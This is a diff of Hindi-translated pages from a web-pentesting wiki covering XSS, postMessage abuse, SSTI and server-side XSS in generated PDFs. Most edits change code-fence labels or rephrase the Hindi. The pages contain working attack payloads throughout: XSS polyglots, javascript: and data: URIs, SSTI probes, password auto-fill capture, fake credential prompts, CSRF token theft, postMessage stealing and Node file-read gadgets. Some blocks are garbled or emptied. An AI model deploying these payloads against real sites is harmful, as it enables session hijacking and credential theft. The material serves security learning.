``` ## [File Inclusion/Path Traversal](../file-inclusion/index.html) @@ -130,14 +130,14 @@ javascript:alert(1) ## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) ### मूल परीक्षण -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### Polygloths -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) @@ -147,7 +147,7 @@ Open Redirect के लिए उपयोग किए गए समान प ## [Server Side Template Injection](../ssti-server-side-template-injection/index.html) ### Basic Tests -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -161,25 +161,25 @@ ${{7*7}} ``` ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -### बुनियादी परीक्षण -```markup +### मूल परीक्षण +```html ``` ### Polygloths -```markup +```html ``` ## XSS ### मूल परीक्षण -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### Polygloths -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 1d3bd41d9..79653dbc3 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -40,7 +40,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') जैसा कि [**इस रिपोर्ट**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) में बताया गया है, यदि आप एक पृष्ठ पाते हैं जिसे **iframed** किया जा सकता है (कोई `X-Frame-Header` सुरक्षा नहीं) और जो **संवेदनशील** संदेश को **postMessage** के माध्यम से **wildcard** (\*) का उपयोग करके भेज रहा है, तो आप **iframe** के **origin** को **संशोधित** कर सकते हैं और **संवेदनशील** संदेश को एक डोमेन पर लीक कर सकते हैं जो आपके द्वारा नियंत्रित है।\ ध्यान दें कि यदि पृष्ठ को iframed किया जा सकता है लेकिन **targetOrigin** **एक URL पर सेट है और wildcard पर नहीं**, तो यह **चाल काम नहीं करेगी**। -```markup +```html \\")) result.message // "'"\" ``` -इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट विशेष रूप से शोषण योग्य है क्योंकि इसकी पढ़ने योग्य `name` प्रॉपर्टी है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं। +इस भेद्यता के संदर्भ में, `File` ऑब्जेक्ट इसकी पढ़ने योग्य `name` प्रॉपर्टी के कारण विशेष रूप से शोषण योग्य है। इस प्रॉपर्टी का उपयोग टेम्पलेट्स में किया जाता है, जो `escapeHtml` फ़ंक्शन द्वारा स्वच्छ नहीं किया जाता है, जिससे संभावित सुरक्षा जोखिम उत्पन्न होते हैं। -- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक ढील दी जा सके। +- JavaScript में `document.domain` प्रॉपर्टी को एक स्क्रिप्ट द्वारा डोमेन को छोटा करने के लिए सेट किया जा सकता है, जिससे समान मूल नीति प्रवर्तन में अधिक लचीलापन मिलता है। ### e.origin == window.origin बायपास -जब %%%%%% का उपयोग करके एक **सैंडबॉक्स्ड iframe** के भीतर एक वेब पृष्ठ को एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के साथ काम करते समय महत्वपूर्ण है। +जब एक वेब पृष्ठ को **सैंडबॉक्स्ड iframe** में %%%%%% का उपयोग करके एम्बेड किया जाता है, तो यह समझना महत्वपूर्ण है कि iframe की उत्पत्ति `null` पर सेट की जाएगी। यह विशेष रूप से **सैंडबॉक्स विशेषताओं** और उनकी सुरक्षा और कार्यक्षमता पर प्रभावों के संबंध में महत्वपूर्ण है। सैंडबॉक्स विशेषता में **`allow-popups`** निर्दिष्ट करने से, iframe के भीतर से खोला गया कोई भी पॉपअप विंडो अपने माता-पिता की सैंडबॉक्स प्रतिबंधों को विरासत में लेता है। इसका मतलब है कि जब तक **`allow-popups-to-escape-sandbox`** विशेषता भी शामिल नहीं की जाती, पॉपअप विंडो की उत्पत्ति भी `null` पर सेट होती है, जो iframe की उत्पत्ति के साथ मेल खाती है। @@ -147,7 +147,7 @@ if (received_message.source !== window) { return } ``` -आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और जिसे **तुरंत हटा दिया जाता है**। +आप **`e.source`** को null करने के लिए एक **iframe** बना सकते हैं जो **postMessage** भेजता है और **तुरंत हटा दिया जाता है**। अधिक जानकारी के लिए **पढ़ें:** @@ -158,8 +158,8 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header बायपास इन हमलों को करने के लिए, आदर्श रूप से आप **पीड़ित वेब पृष्ठ** को एक `iframe` के अंदर रख पाएंगे। लेकिन कुछ हेडर जैसे `X-Frame-Header` उस **व्यवहार** को **रोक** सकते हैं।\ -ऐसे परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं: -```markup +उन परिदृश्यों में, आप अभी भी एक कम छिपे हुए हमले का उपयोग कर सकते हैं। आप कमजोर वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं: +```html diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index ae8c3786e..04f143445 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -25,7 +25,7 @@ 4. Javascript **कार्य** जो **निष्पादित** हो रहा है: 1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)` 4. यदि **उपयोग किया गया**: -1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।** +1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।** जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है: @@ -47,17 +47,17 @@ XSS का सफलतापूर्वक शोषण करने के ### कच्चा HTML -यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="` 3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`** -4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`** +4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`** यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण: ```html @@ -69,12 +69,12 @@ XSS का सफलतापूर्वक शोषण करने के इस मामले में आपका इनपुट **``** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है: -- यदि यह **``** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `` टैग HTML कोड के अंदर है। -- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): +- यदि **``** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `` टैग HTML कोड के अंदर है। +- यदि **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` `` +- यदि टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` `` - **यूनिकोड एन्कोड** **मान्य जावास्क्रिप्ट कोड** लिखने के लिए काम करता है: ```javascript alert(1) @@ -114,9 +114,9 @@ parentElement ``` आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`। -हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें। +हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें। -इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया: +इसलिए, **विभिन्न DOM में इस भेद्यता का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया: {{#ref}} some-same-origin-method-execution.md @@ -132,7 +132,7 @@ dom-xss.md ### **Universal XSS** -इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\ +इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वरों में मनमाने** **फाइलों** को **पढ़ने**, और अधिक के लिए भी किया जा सकता है।\ कुछ **उदाहरण**: {{#ref}} @@ -162,15 +162,15 @@ alert(1) ``` लेकिन, यदि टैग/विशेषताएँ काली/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\ -एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाई गई वैध टैग के अंदर विशेषताएँ/इवेंट्स का ब्रूट-फोर्स करना होगा** यह देखने के लिए कि आप संदर्भ पर कैसे हमला कर सकते हैं। +एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं। ### टैग/इवेंट्स ब्रूट-फोर्स -जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **वैध टैग का उपयोग करके सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। +जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **मान्य टैग का उपयोग करके सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)। ### कस्टम टैग -यदि आपने कोई वैध HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड को निष्पादित करे**: +यदि आपने कोई मान्य HTML टैग नहीं पाया, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे: ``` /?search=#x ``` @@ -234,23 +234,23 @@ onerror=alert`1` @@ -303,7 +303,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए ``` ### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर -यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं। +यहां आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता की इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं। ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc **इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं** **सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** उन टैग्स में जो **`src` विशेषता को स्वीकार करते हैं** (लेकिन `` में नहीं) -```markup +```html
@@ -357,11 +357,11 @@ _**इस मामले में, पिछले अनुभाग से H %27-alert(1)-%27 ``` -ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **payload** को एन्कोड करने के लिए **उपयोग** करने की कोशिश करते हैं, तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। +ध्यान दें कि यदि आप किसी भी क्रम में **दोनों** `URLencode + HTMLencode` का उपयोग करने की कोशिश करते हैं तो **payload** को एन्कोड करने के लिए यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। **`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना** -आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने** के लिए कर सकते हैं: +आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं: ```javascript //Encoded: // This WORKS @@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: -```markup +आप एक **XSS payload को एक छिपे हुए attribute के अंदर** निष्पादित कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में एक अलग key का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: +```html ``` **XSS पेलोड कुछ इस तरह होगा: `" accesskey="x" onclick="alert(1)" x="`** @@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" /> ### CSS-गैजेट्स -यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके। +यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके। उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -476,7 +476,7 @@ onbeforetoggle="alert(2)" /> ```javascript ``` -ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जिसमें अंतर्निहित स्क्रिप्ट को समझना और निष्पादित करना शामिल है, केवल बाद में किया जाता है। +ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है। ### JS कोड के अंदर @@ -488,23 +488,23 @@ onbeforetoggle="alert(2)" /> ``` ### Template literals \`\` -**स्ट्रिंग्स** बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\ -इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं: +**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\ +इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं: -इसका **दुरुपयोग** किया जा सकता है: +इसे **दुरुपयोग** किया जा सकता है: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### एन्कोडेड कोड निष्पादन -```markup +```html @@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है: +पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है: ```javascript try { null.f() @@ -1048,7 +1048,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) @@ -1360,10 +1360,10 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") ``` _छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_ -Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहाँ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहाँ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)। +Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहां**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहां**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)। ### क्रेडेंशियल्स के लिए पूछने वाला बॉक्स -```markup +```html ``` ### ऑटो-फिल पासवर्ड कैप्चर @@ -1381,7 +1381,7 @@ body:username.value+':'+this.value ### कीलॉगर -बस गिटहब पर खोजने पर मैंने कुछ अलग-अलग कीलॉगर पाए: +गिटहब पर खोजते समय मुझे कुछ अलग-अलग मिले: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com') ``` ### PostMessage संदेश चुराना -```markup +```html >
Click Me For An Awesome Time @@ -1517,7 +1517,7 @@ xss-in-markdown.md ### गतिशील रूप से बनाए गए PDF में XSS -यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\ +यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाना JS कोड निष्पादित** करे।\ तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **सर्वर XSS** का कारण बन सकते हैं। {{#ref}} @@ -1532,7 +1532,7 @@ pdf-injection.md ### Amp4Email में XSS -AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं। +AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP घटकों](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं। [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं। @@ -1541,7 +1541,7 @@ AMP, मोबाइल उपकरणों पर वेब पृष्ठ ### फ़ाइलें अपलोड करते समय XSS (svg) एक छवि के रूप में निम्नलिखित फ़ाइल को अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): -```markup +```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 @@ -1559,13 +1559,13 @@ alert(1); -----------------------------232181429808-- ``` -```markup +```html ``` -```markup +```html diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 0a62b5091..eafb6f49e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -8,20 +8,20 @@ तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **Server XSS** का कारण बन सकते हैं। कृपया ध्यान दें कि `` टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक अलग विधि की आवश्यकता होगी (उदाहरण के लिए, ` @@ -36,7 +36,7 @@ ### SVG इस SVG payload के अंदर पिछले या निम्नलिखित payloads में से कोई भी उपयोग किया जा 